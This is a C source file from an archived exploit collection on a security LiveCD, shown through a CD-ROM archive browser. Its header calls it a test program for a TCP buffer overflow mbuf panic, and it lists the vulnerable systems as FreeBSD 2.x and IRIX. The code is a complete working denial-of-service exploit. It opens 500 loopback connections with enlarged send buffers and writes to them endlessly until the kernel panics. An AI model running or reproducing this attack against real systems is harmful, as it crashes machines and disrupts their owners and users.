home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / remote / netbuf.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  101 lines

  1. /* Test program for TCP buffer overflow mbuf panic */
  2. /* Dave Andersen - danderse@cs.utah.edu */
  3. /* netbuf.c - gcc netbuf.c -o netbuf */
  4.  
  5. #include <sys/types.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <sys/socket.h>
  9. #include <netinet/in.h>
  10.  
  11. #define MAXSOCK 500
  12. #define MY_BUFSIZE 32768
  13. #define MAGICPORT 29833
  14.  
  15. #ifndef INADDR_LOOPBACK
  16. #define INADDR_LOOPBACK 0x7f000001
  17. #endif
  18.  
  19. /*
  20.  * Compiling:
  21.  *   FreeBSD, AIX:  -DHAS_SIN_LEN
  22.  *   Linux, IRIX:
  23.  */
  24. /*
  25.  * Vulnerable:
  26.  *  FreeBSD-2.x
  27.  *  IRIX
  28.  * Not vulnerable:
  29.  *  FreeBSD-3.0
  30.  *  Linux 2.0.30
  31.  *  AIX 4.1
  32.  */
  33.  
  34.  
  35. struct sockaddr_in socka;
  36.  
  37. void doecho()
  38. {
  39.   int ls;
  40.  
  41.   ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  42.   bind(ls, &socka, sizeof(socka));
  43.   listen(ls, MAXSOCK);
  44.  
  45.   while (1)
  46.     {
  47.       sleep(1);
  48.     }
  49. }
  50.  
  51. int main(int argc, char **argv)
  52. {
  53.   int kidpid;
  54.   int sendsock[MAXSOCK], recvsock[MAXSOCK];
  55.   int i;
  56.   int sock;
  57.   int socksize;
  58.   char buf[MY_BUFSIZE];
  59.  
  60.   socksize = 1048576;
  61.   bzero(&socka, sizeof(socka));
  62.   socka.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  63. #ifdef HAS_SIN_LEN
  64.   socka.sin_len = sizeof(struct sockaddr_in);
  65. #endif
  66.   socka.sin_family = AF_INET ;
  67.   socka.sin_port = htons(MAGICPORT);
  68.  
  69.   kidpid = fork();
  70.   if (kidpid > 0)
  71.     {
  72.       doecho();
  73.     }
  74.   else
  75.     {
  76.       /* A vague, horrible excuse for synchronization.  This
  77.        * is a demonstration of a kernel flaw, not good coding
  78.        * style. :-) */
  79.       sleep(2);
  80.     }
  81.  
  82.   for (i = 0; i < MAXSOCK; i++)
  83.     {
  84.       /* Open the socket connection, set the socket option */
  85.       sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  86.       setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &socksize, sizeof(socksize));
  87.       sendsock[i] = sock;
  88.       if (connect(sock, &socka, sizeof(socka)))
  89.         {
  90.           perror("could not connect");
  91.         }
  92.       printf("Opened\n");
  93.     }
  94.   printf("Starting the loop\n");
  95.   while (1)
  96.     {
  97.       for (i = 0; i < MAXSOCK; i++)
  98.         write(sendsock[i], buf, MY_BUFSIZE);
  99.     }
  100. }
  101.